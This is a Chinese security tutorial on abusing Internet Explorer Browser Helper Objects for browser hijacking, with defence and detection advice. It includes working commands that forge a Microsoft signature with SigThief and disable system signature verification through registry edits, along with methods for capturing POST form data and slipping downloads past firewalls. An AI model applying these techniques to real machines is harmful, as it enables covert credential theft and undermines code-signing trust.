利用BHO实现IE浏览器劫持
字数 1600 2025-08-29 08:31:53

利用BHO实现IE浏览器劫持技术详解

0x00 前言

Browser Helper Object (BHO)是微软提供的浏览器扩展技术,允许开发者创建与IE浏览器深度交互的组件。本文详细讲解BHO的开发流程和利用技术,包括如何通过BHO实现IE浏览器劫持、数据窃取等高级功能。

0x01 BHO技术简介

BHO(浏览器辅助对象)是微软推出的浏览器扩展标准,具有以下特性:

  • 与浏览器实例生命周期同步(随浏览器启动/关闭)
  • 可获取和控制浏览器行为(导航、页面内容等)
  • 需要注册到系统注册表
  • 注册位置:
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{GUID}
    • HKEY_CLASSES_ROOT\CLSID\{GUID}

0x02 BHO开发环境准备

开发工具

  • Visual Studio 2012(或更高版本)
  • ATL(Active Template Library)支持

开发步骤

  1. 创建ATL项目

    • 新建项目 → Visual C++ → ATL项目
    • 添加类 → ATL → ATL简单对象
    • 设置简称为HelloWorldBHO
    • 勾选IObjectWithSite接口(IE对象支持)
  2. 关键文件说明

    • HelloWorldBHO.h/.cpp:主实现文件
    • dllmain.cpp:DLL入口点
    • HelloWorld.rgs:注册脚本,包含BHO的GUID
    • HelloWorldBHO.rgs:定义BHO名称
    • helloworld.rc:资源文件,包含发行者和版本信息

0x03 BHO基础功能实现

示例:页面加载完成时弹窗显示URL

void STDMETHODCALLTYPE CHelloWorldBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL) {
    BSTR url = pvarURL->bstrVal;
    CComBSTR u(url);
    HWND hwnd;
    HRESULT hr = m_spWebBrowser->get_HWND((LONG_PTR*)&hwnd);
    if (SUCCEEDED(hr)) {
        MessageBox(0, u, L"the url is", MB_OK);
    }
}

BHO注册与卸载

  1. 注册DLL

    regsvr32 helloworld.dll /s
    

    /s参数用于静默注册(不显示成功对话框)

  2. 卸载DLL

    regsvr32 helloworld.dll /s /u
    

    或直接删除注册表相关键值

0x04 BHO高级利用技术

1. 伪造微软签名隐藏BHO

步骤:

  1. 从Office文件中提取合法签名(如URLREDIR.DLL

    C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL
    
  2. 使用SigThief工具添加签名

    sigthief.py -i "C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL" -t helloworld.dll -o new.dll
    
  3. 劫持系统签名验证功能(需管理员权限)

    REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
    REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
    

2. 抓取浏览器POST数据

实现原理:

  • BeforeNavigate2事件前拦截HTTP请求
  • 解析POST数据内容

关键代码参考:

STDMETHODIMP CBhoApp::Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pvarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr)
{
    // 实现POST数据捕获逻辑
}

日志存储:

  • 使用GetTempPath获取临时目录
  • IE权限下实际路径为%Temp%\Low

3. 通过IE下载文件

优势:

  • 防火墙显示下载程序为IE浏览器
  • 可绕过某些安全产品的第三方程序拦截

4. 页面JS注入

参考开源项目:

0x05 权限提升技术

默认BHO运行在低权限(Low Integrity)环境,如需更高权限:

  1. 利用其他漏洞提升权限
  2. 通过COM接口提升
  3. 利用IE特权区域特性

0x06 防御与检测

防御措施

  • 限制管理员权限获取
  • 启用IE保护模式
  • 禁用不必要的BHO加载项

检测方法

  1. 检查IE加载项

    • 路径:工具 → 管理加载项
    • 关注点:
      • 未验证的发行者
      • 可疑的加载项名称
      • 异常的文件日期
  2. 检查进程加载的DLL

    • 使用Process Explorer等工具
    • 检查iexplore.exe加载的非系统DLL
  3. 注册表监控

    • 监控HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
    • 监控HKEY_CLASSES_ROOT\CLSID\下的可疑项

0x07 总结

BHO技术提供了强大的浏览器控制能力,既可合法使用,也可被恶意利用。安全人员应:

  1. 了解BHO工作机制
  2. 掌握检测方法
  3. 实施适当的防御措施

开源项目参考:

利用BHO实现IE浏览器劫持技术详解 0x00 前言 Browser Helper Object (BHO)是微软提供的浏览器扩展技术,允许开发者创建与IE浏览器深度交互的组件。本文详细讲解BHO的开发流程和利用技术,包括如何通过BHO实现IE浏览器劫持、数据窃取等高级功能。 0x01 BHO技术简介 BHO(浏览器辅助对象)是微软推出的浏览器扩展标准,具有以下特性: 与浏览器实例生命周期同步(随浏览器启动/关闭) 可获取和控制浏览器行为(导航、页面内容等) 需要注册到系统注册表 注册位置: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{GUID} HKEY_CLASSES_ROOT\CLSID\{GUID} 0x02 BHO开发环境准备 开发工具 Visual Studio 2012(或更高版本) ATL(Active Template Library)支持 开发步骤 创建ATL项目 新建项目 → Visual C++ → ATL项目 添加类 → ATL → ATL简单对象 设置简称为 HelloWorldBHO 勾选 IObjectWithSite 接口(IE对象支持) 关键文件说明 HelloWorldBHO.h / .cpp :主实现文件 dllmain.cpp :DLL入口点 HelloWorld.rgs :注册脚本,包含BHO的GUID HelloWorldBHO.rgs :定义BHO名称 helloworld.rc :资源文件,包含发行者和版本信息 0x03 BHO基础功能实现 示例:页面加载完成时弹窗显示URL BHO注册与卸载 注册DLL /s 参数用于静默注册(不显示成功对话框) 卸载DLL 或直接删除注册表相关键值 0x04 BHO高级利用技术 1. 伪造微软签名隐藏BHO 步骤: 从Office文件中提取合法签名(如 URLREDIR.DLL ) 使用SigThief工具添加签名 劫持系统签名验证功能(需管理员权限) 2. 抓取浏览器POST数据 实现原理: 在 BeforeNavigate2 事件前拦截HTTP请求 解析POST数据内容 关键代码参考: 日志存储: 使用 GetTempPath 获取临时目录 IE权限下实际路径为 %Temp%\Low 3. 通过IE下载文件 优势: 防火墙显示下载程序为IE浏览器 可绕过某些安全产品的第三方程序拦截 4. 页面JS注入 参考开源项目: BHO JS注入示例 0x05 权限提升技术 默认BHO运行在低权限(Low Integrity)环境,如需更高权限: 利用其他漏洞提升权限 通过COM接口提升 利用IE特权区域特性 0x06 防御与检测 防御措施 限制管理员权限获取 启用IE保护模式 禁用不必要的BHO加载项 检测方法 检查IE加载项 路径:工具 → 管理加载项 关注点: 未验证的发行者 可疑的加载项名称 异常的文件日期 检查进程加载的DLL 使用Process Explorer等工具 检查iexplore.exe加载的非系统DLL 注册表监控 监控 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ 监控 HKEY_CLASSES_ROOT\CLSID\ 下的可疑项 0x07 总结 BHO技术提供了强大的浏览器控制能力,既可合法使用,也可被恶意利用。安全人员应: 了解BHO工作机制 掌握检测方法 实施适当的防御措施 开源项目参考: BHO POST数据记录器 BHO基础示例 BHO JS注入